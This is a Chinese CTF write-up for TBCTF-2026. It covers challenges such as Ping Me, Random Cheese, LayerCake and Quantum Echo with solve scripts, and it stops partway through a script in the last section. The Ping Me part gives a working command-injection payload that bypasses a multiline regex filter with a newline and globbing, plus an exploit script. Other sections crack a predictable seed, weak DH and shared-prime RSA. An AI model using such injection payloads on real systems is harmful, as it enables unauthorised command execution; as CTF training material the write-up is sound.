TBCTF-2026

admin 2026-06-30 09:19:06 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档详细解析TBCTF-2026中PingMe的命令注入漏洞利用、RandomCheese的伪随机数预测机制及SanityCheck的词频分析技术,提供完整利用脚本和验证方法,具备较高实战参考价值。 综合评分: 98 文章分类: CTF,WEB安全,漏洞分析,实战经验,代码审计


cover_image

TBCTF-2026

原创

玄网安全 oPis 玄网安全 oPis

玄网安全

2026年6月27日 18:34 浙江

在小说阅读器读本章

去阅读

TBCTF-2026😶😶😶😶😶😶


Ping Me(web)

Summary

这题的核心是一个典型的命令注入。后端虽然限制了输入只能是“数字和点”,但它错误地使用了 re.match(..., flags=re.MULTILINE),导致只校验了第一行;再配合 shell=True,我们可以通过换行注入第二条命令,并利用通配符在不出现字母的情况下执行 /app/readflag

Solution

Step 1: 代码审计确认换行注入

源码里最关键的逻辑在 app.py:

  • 输入长度必须不超过 15
  • 不能包含字母
  • 不能包含 $
  • 正则检查是 re.match(r"^[\d.]+$", ip, flags=re.MULTILINE)
  • 最终执行 subprocess.check_output(command, shell=True, executable='/bin/bash')

问题在于 MULTILINE 会让 ^ 和 $ 匹配每一行的开头和结尾,而 re.match() 只要求从字符串开头开始匹配即可。 因此只要第一行是合法的数字,比如 0,后面即使再跟一个换行和新命令,也能通过校验。

也就是说,这样的输入能够绕过过滤:

0
<second command>

在 shell 中,换行本身就是命令分隔符,所以第二行会被当成新的命令执行。

Step 2: 用纯符号路径执行 /app/readflag

还需要解决两个限制:

  • 不能输入字母,所以不能直接写 /app/readflag
  • 总长度不能超过 15

查看 Dockerfile 和 readflag.c 可以知道:

  • 程序工作目录在 /app
  • 存在一个 SUID 可执行文件 readflag
  • readflag 会直接打印环境变量 FLAG

于是可以利用 Bash 通配符来避免字母:

0
/???/????????

解释如下:

  • /???/???????? 正好能展开成 /app/readflag
  • 第一行 0 可以通过“只含数字”的校验
  • 整个 payload 长度刚好是 15

实际提交后,服务端会执行两条命令:

ping -c 1 -W 2 0
/app/readflag

下面是一份完整利用脚本:

import&nbsp;re
import&nbsp;sys

import&nbsp;requests

URL =&nbsp;"https://web-ping-me.tracebash.xyz/api/ping"
PAYLOAD =&nbsp;"0\n/???/????????"
FLAG_RE = re.compile(r"TBCTF\{[^}]+\}")

def&nbsp;main():
&nbsp; &nbsp; response = requests.post(
&nbsp; &nbsp; &nbsp; &nbsp; URL,
&nbsp; &nbsp; &nbsp; &nbsp; data=PAYLOAD,
&nbsp; &nbsp; &nbsp; &nbsp; headers={"Content-Type":&nbsp;"text/plain"},
&nbsp; &nbsp; &nbsp; &nbsp; timeout=10,
&nbsp; &nbsp; )
&nbsp; &nbsp; response.raise_for_status()

&nbsp; &nbsp; body = response.json().get("output",&nbsp;"")
&nbsp; &nbsp; match = FLAG_RE.search(body)
&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;match:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;RuntimeError("Flag not found in response.")

&nbsp; &nbsp; print(f"payload:&nbsp;{PAYLOAD!r}")
&nbsp; &nbsp; print(f"flag:&nbsp;{match.group(0)}")

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; main()
&nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;exc:
&nbsp; &nbsp; &nbsp; &nbsp; print(f"error:&nbsp;{exc}")
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)

运行结果:

payload: '0\n/???/????????'
flag: TBCTF{0ld_5ch00l_c0mm4nd_1nj3c710n_0n_573r01d5}

Flag

TBCTF{0ld_5ch00l_c0mm4nd_1nj3c710n_0n_573r01d5}

Random Cheese(web)

Summary

这题的核心不是拼运气,而是发现用户可设置的 lucky_number 会被后端直接当成随机数种子。由于同一个 lucky_number 对应的 10 次抽奖结果完全固定,我们只要离线枚举 1..1000,找到任意一个总分至少 85 的号码,就能稳定拿到 flag。

Solution

Step 1: 确认抽奖结果可预测

站点提供注册、登录、抽奖和设置幸运数字功能,要求 10 抽后总分达到 85+ 才能 claim flag。

测试后可以确认:

  • POST /spin 会直接返回本次抽中的分值
  • 修改 lucky_number 会重置当前抽奖进度
  • 对同一个 lucky_number,连续 10 抽的结果每次都完全一致

这说明服务端并不是真随机,而是使用 lucky_number 初始化伪随机数生成器。其行为可等价理解为:

import&nbsp;random

rng = random.Random(lucky_number)
score_list = [rng.randint(1,&nbsp;10)&nbsp;for&nbsp;_&nbsp;in&nbsp;range(10)]

本地验证后,Python 的 random.Random(lucky_number).randint(1, 10) 生成序列与站点返回结果一致。

Step 2: 离线枚举 lucky number 并在线 claim

接下来只需要枚举 1..1000 的所有幸运数字,找出 10 次得分总和大于等于 85 的值即可。

例如,lucky_number = 854 的结果为:

rolls = [6, 6, 9, 9, 10, 8, 10, 9, 10, 10]
total = 87

把幸运数字改成 854,然后连续抽 10 次,最后提交 claim,就能直接得到 flag。

import&nbsp;random
import&nbsp;re
import&nbsp;sys
import&nbsp;uuid

import&nbsp;requests

BASE_URL =&nbsp;"https://web-random-cheese.tracebash.xyz"
FLAG_RE = re.compile(r"TBCTF\{[^}]+\}")

def&nbsp;find_winning_lucky_number():
&nbsp; &nbsp;&nbsp;for&nbsp;lucky_number&nbsp;in&nbsp;range(1,&nbsp;1001):
&nbsp; &nbsp; &nbsp; &nbsp; rng = random.Random(lucky_number)
&nbsp; &nbsp; &nbsp; &nbsp; rolls = [rng.randint(1,&nbsp;10)&nbsp;for&nbsp;_&nbsp;in&nbsp;range(10)]
&nbsp; &nbsp; &nbsp; &nbsp; total = sum(rolls)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;total >=&nbsp;85:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;lucky_number, rolls, total
&nbsp; &nbsp;&nbsp;raise&nbsp;RuntimeError("No winning lucky number found.")

def&nbsp;exploit():
&nbsp; &nbsp; lucky_number, rolls, total = find_winning_lucky_number()

&nbsp; &nbsp; session = requests.Session()
&nbsp; &nbsp; username =&nbsp;"u"&nbsp;+ uuid.uuid4().hex[:8]
&nbsp; &nbsp; password =&nbsp;"p"&nbsp;+ uuid.uuid4().hex[:8]

&nbsp; &nbsp; session.post(
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"{BASE_URL}/register",
&nbsp; &nbsp; &nbsp; &nbsp; data={"username": username,&nbsp;"password": password},
&nbsp; &nbsp; &nbsp; &nbsp; timeout=10,
&nbsp; &nbsp; )
&nbsp; &nbsp; session.post(
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"{BASE_URL}/login",
&nbsp; &nbsp; &nbsp; &nbsp; data={"username": username,&nbsp;"password": password},
&nbsp; &nbsp; &nbsp; &nbsp; timeout=10,
&nbsp; &nbsp; )
&nbsp; &nbsp; session.post(
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;f"{BASE_URL}/update_lucky",
&nbsp; &nbsp; &nbsp; &nbsp; data={"lucky_number": str(lucky_number)},
&nbsp; &nbsp; &nbsp; &nbsp; timeout=10,
&nbsp; &nbsp; )

&nbsp; &nbsp;&nbsp;for&nbsp;_&nbsp;in&nbsp;range(10):
&nbsp; &nbsp; &nbsp; &nbsp; session.post(f"{BASE_URL}/spin", timeout=10)

&nbsp; &nbsp; response = session.post(f"{BASE_URL}/claim", timeout=10)
&nbsp; &nbsp; match = FLAG_RE.search(response.text)
&nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;match:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;RuntimeError("Flag not found in server response.")

&nbsp; &nbsp; print(f"winning_lucky_number:&nbsp;{lucky_number}")
&nbsp; &nbsp; print(f"rolls:&nbsp;{rolls}")
&nbsp; &nbsp; print(f"total:&nbsp;{total}")
&nbsp; &nbsp; print(f"flag:&nbsp;{match.group(0)}")

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; exploit()
&nbsp; &nbsp;&nbsp;except&nbsp;Exception&nbsp;as&nbsp;exc:
&nbsp; &nbsp; &nbsp; &nbsp; print(f"error:&nbsp;{exc}")
&nbsp; &nbsp; &nbsp; &nbsp; sys.exit(1)

运行结果:

winning_lucky_number: 854
rolls: [6, 6, 9, 9, 10, 8, 10, 9, 10, 10]
total: 87
flag: TBCTF{t0m_4nd_j3rry_l0v3s_ch33s3_4nd_r4nd0mness}

Flag

TBCTF{t0m_4nd_j3rry_l0v3s_ch33s3_4nd_r4nd0mness}

Sanity Check

Summary

附件里给了一个 flag_pool 目录,里面有 8001 个看起来都像真的 TBCTF{...}。核心思路是把所有 flag 按下划线拆词做词频统计,真 flag 通常会包含与题意强相关、且只出现一次的关键词。

Solution

Step 1: 统计词频并找异常值

先遍历所有 flag_*.txt,提取 TBCTF{} 内部内容,再按 _ 分词。

这批伪造 flag 大多由固定词表随机拼接而成,而 s4n1tyv3r1f13d 这两个词只出现了一次,和题目名 Sanity Check 高度相关,因此对应文件就是最可疑的真 flag。

import&nbsp;collections
import&nbsp;pathlib
import&nbsp;re
import&nbsp;sys

FLAG_RE = re.compile(r"^TBCTF\{([A-Za-z0-9_]+)\}$")

def&nbsp;load_flags(base: pathlib.Path):
&nbsp; &nbsp; flags = []
&nbsp; &nbsp;&nbsp;for&nbsp;path&nbsp;in&nbsp;sorted(base.glob("*.txt")):
&nbsp; &nbsp; &nbsp; &nbsp; content = path.read_text(encoding="utf-8").strip()
&nbsp; &nbsp; &nbsp; &nbsp; match = FLAG_RE.fullmatch(content)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;not&nbsp;match:
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue
&nbsp; &nbsp; &nbsp; &nbsp; tokens = match.group(1).split("_")
&nbsp; &nbsp; &nbsp; &nbsp; flags.append((path.name, content, tokens))
&nbsp; &nbsp;&nbsp;return&nbsp;flags

def&nbsp;choose_real_flag(flags):
&nbsp; &nbsp; counts = collections.Counter()
&nbsp; &nbsp;&nbsp;for&nbsp;_, _, tokens&nbsp;in&nbsp;flags:
&nbsp; &nbsp; &nbsp; &nbsp; counts.update(tokens)

&nbsp; &nbsp;&nbsp;def&nbsp;score(item):
&nbsp; &nbsp; &nbsp; &nbsp; _, _, tokens = item
&nbsp; &nbsp; &nbsp; &nbsp; singleton_count = sum(1&nbsp;for&nbsp;token&nbsp;in&nbsp;tokens&nbsp;if&nbsp;counts[token] ==&nbsp;1)
&nbsp; &nbsp; &nbsp; &nbsp; rarity_score = sum(1&nbsp;/ counts[token]&nbsp;for&nbsp;token&nbsp;in&nbsp;tokens)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;(singleton_count, rarity_score)

&nbsp; &nbsp;&nbsp;return&nbsp;max(flags, key=score)

def&nbsp;main():
&nbsp; &nbsp;&nbsp;if&nbsp;len(sys.argv) >&nbsp;1:
&nbsp; &nbsp; &nbsp; &nbsp; base = pathlib.Path(sys.argv[1])
&nbsp; &nbsp;&nbsp;else:
&nbsp; &nbsp; &nbsp; &nbsp; base = pathlib.Path(r"C:\Users\ZhuanZ(无密码)\Downloads\sanity_check\flag_pool")

&nbsp; &nbsp; flags = load_flags(base)
&nbsp; &nbsp; filename, flag, _ = choose_real_flag(flags)
&nbsp; &nbsp; print(f"file:&nbsp;{filename}")
&nbsp; &nbsp; print(f"flag:&nbsp;{flag}")

if&nbsp;__name__ ==&nbsp;"__main__":
&nbsp; &nbsp; main()

运行结果:

file: flag_3482.txt
flag: TBCTF{s4n1ty_v3r1f13d_8291}

Step 2: 快速验证

直接全文检索异常词可以再次确认:

rg -n&nbsp;"s4n1ty|v3r1f13d|8291"&nbsp;flag_pool

命中结果只有一条:

flag_3482.txt:1: TBCTF{s4n1ty_v3r1f13d_8291}

Flag

TBCTF{s4n1ty_v3r1f13d_8291}

Something

Summary

题目给了一个 Go 编译的 64 位静态 ELF。程序存在多条诱饵校验路径,真正的校验逻辑在 main.reallocate_memory_region:取 TBCTF{...} 中间 16 字节,反转后异或,再和加密常量比较。

Solution

Step 1: 识别 Go 符号和加密字符串

先查看文件类型和符号:

file chall
go tool nm chall | grep&nbsp;'main\.'

可以看到关键符号:

main.encPrompt
main.encIncorrect
main.encCorrect
main.encExpected
main.reallocate_memory_region

程序里的提示、错误信息、正确提示和 expected 数据都被 XOR 加密。 解密用的固定值来自 TBCTF{ 六个字符的异或:

'T' ^ 'B' ^ 'C' ^ 'T' ^ 'F' ^ '{' = 0x3c

字符串最终还会再异或 0x2a,所以整体等价于:

byte ^ 0x3c ^ 0x2a = byte ^ 0x16

Step 2: 还原真正校验逻辑

main.main 先检查输入必须满足:

TBCTF{...}

中间内容长度必须是 16。前面几个分支是诱饵,例如哈希、ssh 前缀、特殊字节、乘积取模等,命中后会输出 fake flag。

真正校验在:

main.reallocate_memory_region

核心逻辑等价于:

buf = input_inner[:16]
buf = buf[::-1]
buf = [x ^&nbsp;0xd7&nbsp;for&nbsp;x&nbsp;in&nbsp;buf]
buf = [x ^&nbsp;0x2a&nbsp;for&nbsp;x&nbsp;in&nbsp;buf]
buf == decrypt(encExpected)

其中:

0xd7 ^ 0x2a = 0xfd
decrypt(encExpected) = encExpected ^ 0x16

所以反推:

input_inner = reverse((encExpected ^ 0x16) ^ 0xfd)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = reverse(encExpected ^ 0xeb)

完整 solve 脚本如下:

#!/usr/bin/env python3

enc_expected = bytes.fromhex(
&nbsp; &nbsp;&nbsp;"ca89db998d86d886b499db93b49dd899"
)

inner = bytes([b ^&nbsp;0xEB&nbsp;for&nbsp;b&nbsp;in&nbsp;enc_expected])[::-1]
flag =&nbsp;b"TBCTF{"&nbsp;+ inner +&nbsp;b"}"

print(flag.decode())

运行结果:

TBCTF{r3v_x0r_m3mfr0b!}

验证:

printf&nbsp;'%s\n'&nbsp;'TBCTF{r3v_x0r_m3mfr0b!}'&nbsp;| ./chall

输出:

Enter flag: Correct! Flag is your input.

Flag

TBCTF{r3v_x0r_m3mfr0b!}

LayerCake

Summary

题目给了一个 stripped 的 64 位 PIE ELF。程序每次运行都会根据 time() 生成随机层,导致输出看起来不同;但真正的静态加密层可以直接逆回去,最终得到 flag。

Solution

Step 1: 分析程序流程

先查看文件信息:

file challenge

结果显示是 64 位 ELF:

challenge: ELF 64-bit LSB pie executable, x86-64, dynamically linked, stripped

运行时需要传入一个 0-255 的 key:

./challenge 0
./challenge 128
./challenge 255

输出是乱码,并且每次运行可能不同。 逆向 main 后可以看到核心流程:

memcpy(buf, enc_data,&nbsp;0x1a);

srand(time(0));
r = rand() %&nbsp;100;

xor_all(buf, r);
xor_index(buf);
rol3(buf);
xor_all(buf, user_key);

puts(buf);

也就是说,程序对静态密文做了几层处理:

1. 每字节异或 rand()%100
2. 每字节异或 7*i+11
3. 每字节循环左移 3 位
4. 每字节异或用户输入 key

其中第 1 层和第 4 层都是单字节 XOR 层,所以某些时刻用户 key 可以抵消随机层,输出正确 flag。

Step 2: 还原静态层

.data 中的 26 字节密文为:

08 d3 f8 23 66 c8 11 1b 47 4d fe 3a 5b c3 cb 9b bc e0 4e 7f d0 71 62 4b 5c 9c

先逆掉固定下标异或,再做循环左移 3 位,可以得到一段带固定 XOR mask 的数据。 利用 flag 前缀 TBCTF{ 可以推出最终 mask 为 0x4c

完整 solve 脚本如下:

#!/usr/bin/env python3

enc = bytes.fromhex(
&nbsp; &nbsp;&nbsp;"08d3f82366c8111b474dfe3a5bc3cb9b"
&nbsp; &nbsp;&nbsp;"bce04e7fd071624b5c9c"
)

def&nbsp;rol8(x, n):
&nbsp; &nbsp;&nbsp;return&nbsp;((x << n) &&nbsp;0xff) | (x >> (8&nbsp;- n))

# 还原固定层:先异或 7*i+11,再循环左移 3 位
base = bytes(
&nbsp; &nbsp; rol8(b ^ ((7&nbsp;* i +&nbsp;11) &&nbsp;0xff),&nbsp;3)
&nbsp; &nbsp;&nbsp;for&nbsp;i, b&nbsp;in&nbsp;enumerate(enc)
)

# 利用 TBCTF{ 前缀恢复最后的单字节 XOR mask
mask = base[0] ^ ord("T")

flag = bytes(c ^ mask&nbsp;for&nbsp;c&nbsp;in&nbsp;base)
print(flag.decode())

运行结果:

TBCTF{mult1_lay3r_r3v3rs3}

Step 3: 解释“正确时刻”

程序中的随机层为:

r = rand() %&nbsp;100;

然后输出前还会异或用户输入的 key。

因为 XOR 和循环移位都是可逆的,随机层本质上只是在最终输出上叠了一层单字节扰动。 当用户输入的 key 恰好抵消当前 rand()%100 对应的扰动时,程序就会直接打印正确 flag。

题目描述中的:

Every now and then, one of those is right.

对应的就是这个逻辑。

Flag

TBCTF{mult1_lay3r_r3v3rs3}

Broken Trust Protocol

Summary

题目给了一段简化的 DH 协议和一次通信抓包。真正的问题不在 AES,而在握手阶段允许恶意客户端把 B 伪造成 p-1,导致共享密钥只会落到极小的候选集合里。

Solution

Step 1: 利用小子群注入把共享密钥压缩成两个候选值

题目源码里客户端发出的值固定成了 B = p - 1。 在模素数域中,(p - 1)^a mod p 只可能等于 1 或 p - 1。 因此不需要知道私钥 a,只要分别用这两个候选值做 sha256,再尝试 AES-CBC 解密即可。 这里实际正确的是 shared = p - 1

from&nbsp;hashlib&nbsp;import&nbsp;sha256
from&nbsp;pathlib&nbsp;import&nbsp;Path

from&nbsp;Crypto.Cipher&nbsp;import&nbsp;AES
from&nbsp;Crypto.Util.Padding&nbsp;import&nbsp;unpad

def&nbsp;parse_capture(path: Path)&nbsp;-> dict[str, str]:
&nbsp; &nbsp; values: dict[str, str] = {}
&nbsp; &nbsp;&nbsp;for&nbsp;line&nbsp;in&nbsp;path.read_text(encoding="utf-8").splitlines():
&nbsp; &nbsp; &nbsp; &nbsp; key, value = line.split(" = ",&nbsp;1)
&nbsp; &nbsp; &nbsp; &nbsp; values[key.strip()] = value.strip()
&nbsp; &nbsp;&nbsp;return&nbsp;values

base = Path("broken_trust_protocol")
values = parse_capture(base /&nbsp;"capture.txt")

p = int(values["p"])
iv = bytes.fromhex(values["iv"])
ciphertext = bytes.fromhex(values["ciphertext"])

for&nbsp;shared&nbsp;in&nbsp;(1, p -&nbsp;1):
&nbsp; &nbsp; key = sha256(str(shared).encode()).digest()[:16]
&nbsp; &nbsp; plaintext = AES.new(key, AES.MODE_CBC, iv).decrypt(ciphertext)
&nbsp; &nbsp;&nbsp;try:
&nbsp; &nbsp; &nbsp; &nbsp; flag = unpad(plaintext,&nbsp;16).decode()
&nbsp; &nbsp;&nbsp;except&nbsp;ValueError:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue

&nbsp; &nbsp;&nbsp;if&nbsp;flag.startswith("TBCTF{"):
&nbsp; &nbsp; &nbsp; &nbsp; print(flag)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break

运行后输出:

TBCTF{Sm4ll_Subgr0up_Att4cks_Ar3_D34dly}

Flag

TBCTF{Sm4ll_Subgr0up_Att4cks_Ar3_D34dly}

Harmonic Cipher

Summary

附件里有一个 ciphertext.bin 和一段 8 秒的纯音乐。核心思路是把每一秒的主频率提取出来,然后把这些频率对 256 取模,得到一个循环异或密钥。

Solution

Step 1: 从音频中提取每秒的主频

melody.wav 一共 8 秒,每秒都只有一个很明显的单音。 对每一秒分别做 FFT,可以得到主频依次为:

440, 494, 523, 587, 659, 698, 784, 880

也就是从 A4 一路上行到 A5 的音阶。

Step 2: 用 freq % 256 还原异或密钥

把上面的频率逐个对 256 取模:

[184, 238, 11, 75, 147, 186, 16, 112]

这 8 个字节正好可以作为循环 XOR 密钥来解开 ciphertext.bin

from&nbsp;pathlib&nbsp;import&nbsp;Path
import&nbsp;wave

import&nbsp;numpy&nbsp;as&nbsp;np

def&nbsp;extract_frequencies(wav_path: Path)&nbsp;-> list[int]:
&nbsp; &nbsp;&nbsp;with&nbsp;wave.open(str(wav_path),&nbsp;"rb")&nbsp;as&nbsp;wav_file:
&nbsp; &nbsp; &nbsp; &nbsp; sample_rate = wav_file.getframerate()
&nbsp; &nbsp; &nbsp; &nbsp; samples = np.frombuffer(wav_file.readframes(wav_file.getnframes()), dtype=np.int16)

&nbsp; &nbsp; duration = len(samples) // sample_rate
&nbsp; &nbsp; frequencies: list[int] = []

&nbsp; &nbsp;&nbsp;for&nbsp;second&nbsp;in&nbsp;range(duration):
&nbsp; &nbsp; &nbsp; &nbsp; segment = samples[second * sample_rate : (second +&nbsp;1) * sample_rate].astype(np.float64)
&nbsp; &nbsp; &nbsp; &nbsp; spectrum = np.abs(np.fft.rfft(segment))
&nbsp; &nbsp; &nbsp; &nbsp; bins = np.fft.rfftfreq(len(segment),&nbsp;1&nbsp;/ sample_rate)
&nbsp; &nbsp; &nbsp; &nbsp; dominant = int(round(float(bins[np.argmax(spectrum[1:]) +&nbsp;1])))
&nbsp; &nbsp; &nbsp; &nbsp; frequencies.append(dominant)

&nbsp; &nbsp;&nbsp;return&nbsp;frequencies

base = Path("harmonic_cipher/harmonic_cipher")
frequencies = extract_frequencies(base /&nbsp;"melody.wav")
key = bytes(freq %&nbsp;256&nbsp;for&nbsp;freq&nbsp;in&nbsp;frequencies)
ciphertext = (base /&nbsp;"ciphertext.bin").read_bytes()
plaintext = bytes(value ^ key[index % len(key)]&nbsp;for&nbsp;index, value&nbsp;in&nbsp;enumerate(ciphertext))

print(frequencies)
print(list(key))
print(plaintext.decode())

运行后输出:

[440, 494, 523, 587, 659, 698, 784, 880]
[184, 238, 11, 75, 147, 186, 16, 112]
TBCTF{h4rm0n1c_fr3qu3nc13s_4r3_m3l0d1c}

Flag

TBCTF{h4rm0n1c_fr3qu3nc13s_4r3_m3l0d1c}

Quantum Echo

Summary

题目给了两把 RSA 公钥和同一个密文。关键点在于两把公钥复用了同一个素因子,只要做一次 gcd(n1, n2) 就能把模数分解掉。

Solution

Step 1: 对两把公钥做 GCD

把 public1.pem 和 public2.pem 里的模数取出来后,计算:

gcd(n1, n2) = p

如果结果不是 1,就说明两把公钥共享素因子。 接着就能分别得到:

q1 = n1 / p
q2 = n2 / p

然后按普通 RSA 流程恢复私钥指数 d 并尝试解密。 题目密文是用第一把公钥加密的,所以用 n1 那一套参数可以直接出 flag。

from&nbsp;math&nbsp;import&nbsp;gcd
from&nbsp;pathlib&nbsp;import&nbsp;Path

from&nbsp;Crypto.PublicKey&nbsp;import&nbsp;RSA
from&nbsp;Crypto.Util.number&nbsp;import&nbsp;inverse, long_to_bytes

base = Path("QuantumEcho")
key1 = RSA.import_key((base /&nbsp;"public1.pem").read_bytes())
key2 = RSA.import_key((base /&nbsp;"public2.pem").read_bytes())
ciphertext = int((base /&nbsp;"ciphertext.txt").read_text(encoding="utf-8").strip())

shared_prime = gcd(key1.n, key2.n)

for&nbsp;key&nbsp;in&nbsp;(key1, key2):
&nbsp; &nbsp; other_prime = key.n // shared_prime
&nbsp; &nbsp; phi = (shared_prime -&nbsp;1) * (other_prime -&nbsp;1)
&nbsp; &nbsp; d = inverse(key.e, phi)
&nbsp; &nbsp; plaintext = long_to_bytes(pow(ciphertext, d, key.n))
&nbsp; &nbsp;&nbsp;if&nbsp;plaintext.startswith(b"TBCTF{"):
&nbsp; &nbsp; &nbsp; &nbsp; print(plaintext.decode())
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break

运行后输出:

TBCTF{C0mm0n_Pr1m3s_Ar3_D34dly}

Flag

TBCTF{C0mm0n_Pr1m3s_Ar3_D34dly}

State Desync

Summary

题目给的是一个自制流加密器,两个初始种子都只有 8 bit。既然状态空间只有 256 * 256,最直接的方法就是完整爆破,再用 flag 前缀筛出正确明文。

Solution

Step 1: 爆破两个 8 位种子

算法虽然看起来有自定义 S-Box、变长时钟和反馈移位,但真正的密钥空间非常小。 把注释里的密文读出来后,直接枚举 seed_a 和 seed_b 即可。 找到明文以 TBCTF{ 开头、以 } 结尾的那组状态就是答案。 最终命中的种子是 seed_a = 66seed_b = 19

import&nbsp;binascii
import&nbsp;re
from&nbsp;pathlib&nbsp;import&nbsp;Path

def&nbsp;custom_sbox(value: int)&nbsp;-> int:
&nbsp; &nbsp;&nbsp;return&nbsp;((value ^&nbsp;0x5A) +&nbsp;0x33) %&nbsp;256

def&nbsp;encrypt(data: bytes, seed_a: int, seed_b: int)&nbsp;-> bytes:
&nbsp; &nbsp; state_a = seed_a
&nbsp; &nbsp; state_b = seed_b
&nbsp; &nbsp; ciphertext = bytearray()

&nbsp; &nbsp;&nbsp;for&nbsp;byte&nbsp;in&nbsp;data:
&nbsp; &nbsp; &nbsp; &nbsp; clock_steps = (state_a &&nbsp;0x0F) +&nbsp;1
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;_&nbsp;in&nbsp;range(clock_steps):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; feedback = (
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ((state_b >>&nbsp;7) ^ (state_b >>&nbsp;5) ^ (state_b >>&nbsp;2) ^ (state_b >>&nbsp;1)) &&nbsp;1
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; )
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; state_b = ((state_b <<&nbsp;1) | feedback) &&nbsp;0xFF

&nbsp; &nbsp; &nbsp; &nbsp; state_a = custom_sbox(state_a ^ state_b)
&nbsp; &nbsp; &nbsp; &nbsp; keystream_byte = custom_sbox(state_b) ^ state_a
&nbsp; &nbsp; &nbsp; &nbsp; ciphertext.append(byte ^ keystream_byte)

&nbsp; &nbsp;&nbsp;return&nbsp;bytes(ciphertext)

content = Path("state_desync/challenge.py").read_text(encoding="utf-8")
match = re.search(r'unhexlify\("([0-9a-f]+)"\)', content)
ciphertext = binascii.unhexlify(match.group(1))

for&nbsp;seed_a&nbsp;in&nbsp;range(256):
&nbsp; &nbsp;&nbsp;for&nbsp;seed_b&nbsp;in&nbsp;range(256):
&nbsp; &nbsp; &nbsp; &nbsp; plaintext = encrypt(ciphertext, seed_a, seed_b)
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;plaintext.startswith(b"TBCTF{")&nbsp;and&nbsp;plaintext.endswith(b"}"):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(seed_a, seed_b)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; print(plaintext.decode())
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;SystemExit

运行后输出:

66 19
TBCTF{h1dd3n_st4t3_m4chin3_f4il}

Flag

TBCTF{h1dd3n_st4t3_m4chin3_f4il}

Bespoke Superblock

Summary

题目给了一个奇怪的磁盘镜像和一个损坏的解析脚本。核心思路是利用脚本中泄露的自定义文件系统结构解析 superblock,再从指定 inode 位置按块提取数据,最后对提取结果整体 XOR 0x20 还原 flag。

Solution

Step 1: 解析自定义 superblock

parser.py 中可以看到文件系统从 0x1000 开始,superblock 结构为:

Magic &nbsp; &nbsp; &nbsp;:&nbsp;4&nbsp;bytes
BlockSize &nbsp;:&nbsp;2&nbsp;bytes
TotalBlocks:&nbsp;4&nbsp;bytes
FlagInode &nbsp;:&nbsp;4&nbsp;bytes
Padding &nbsp; &nbsp;:&nbsp;2&nbsp;bytes

解析后得到:

Magic &nbsp; &nbsp; &nbsp; = TBFS
Block Size &nbsp;= 512
TotalBlocks = 8
Flag Inode &nbsp;= 0x1020

原脚本每个 block 只读取前 4 字节,将 8 个 block 的数据拼接后得到一段疑似被编码的数据。

完整 solve 脚本如下:

import&nbsp;struct

IMG_PATH =&nbsp;"challenge.img"

def&nbsp;main():
&nbsp; &nbsp;&nbsp;with&nbsp;open(IMG_PATH,&nbsp;"rb")&nbsp;as&nbsp;f:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Custom filesystem starts at 0x1000
&nbsp; &nbsp; &nbsp; &nbsp; f.seek(0x1000)
&nbsp; &nbsp; &nbsp; &nbsp; header = f.read(16)

&nbsp; &nbsp; &nbsp; &nbsp; magic, block_size, total_blocks, flag_inode = struct.unpack(
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"<4s H I I 2x",
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; header
&nbsp; &nbsp; &nbsp; &nbsp; )

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;magic !=&nbsp;b"TBFS":
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;raise&nbsp;ValueError(f"Invalid magic:&nbsp;{magic!r}")

&nbsp; &nbsp; &nbsp; &nbsp; print("[+] Found TBFS")
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[+] block_size &nbsp;=&nbsp;{block_size}")
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[+] total_blocks =&nbsp;{total_blocks}")
&nbsp; &nbsp; &nbsp; &nbsp; print(f"[+] flag_inode &nbsp; = 0x{flag_inode:x}")

&nbsp; &nbsp; &nbsp; &nbsp; raw =&nbsp;b""

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;i&nbsp;in&nbsp;range(total_blocks):
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; offset = flag_inode + i * block_size
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; f.seek(offset)

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# Each block stores 4 bytes of the hidden data
